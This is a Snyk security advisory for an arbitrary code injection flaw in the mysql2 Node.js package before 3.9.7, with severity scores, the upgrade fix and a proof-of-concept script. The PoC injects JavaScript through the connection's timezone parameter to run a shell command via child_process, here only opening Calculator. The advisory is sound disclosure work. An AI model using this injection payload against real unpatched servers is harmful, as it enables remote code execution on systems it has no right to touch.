Arbitrary Code Injection Affecting mysql2 package, versions <3.9.7


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.05% (17th percentile)

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  • Snyk ID SNYK-JS-MYSQL2-6670046
  • published 22 Apr 2024
  • disclosed 21 Apr 2024
  • credit zhaoyudi (Nebulalab)

How to fix?

Upgrade mysql2 to version 3.9.7 or higher.

Overview

mysql2 is a mostly API compatible with mysqljs and supports majority of features.

Affected versions of this package are vulnerable to Arbitrary Code Injection due to improper sanitization of the timezone parameter in the readCodeFor function by calling a native MySQL Server date/time function.

PoC

const mysql = require('mysql2');
const connection = mysql.createConnection({
  host: '127.0.0.1',
  user: 'root',
  database: 'test',
  password: '123456',
});

let query_data = {
  sql: `SELECT CURDATE();`,
  timezone:
    "');''.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app');console.log('",
};

connection.query(query_data, (err, results) => {
  if (err) throw err;
  console.log(results);
});

connection.end();

CVSS Scores

version 3.1
Expand this section

Snyk

9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High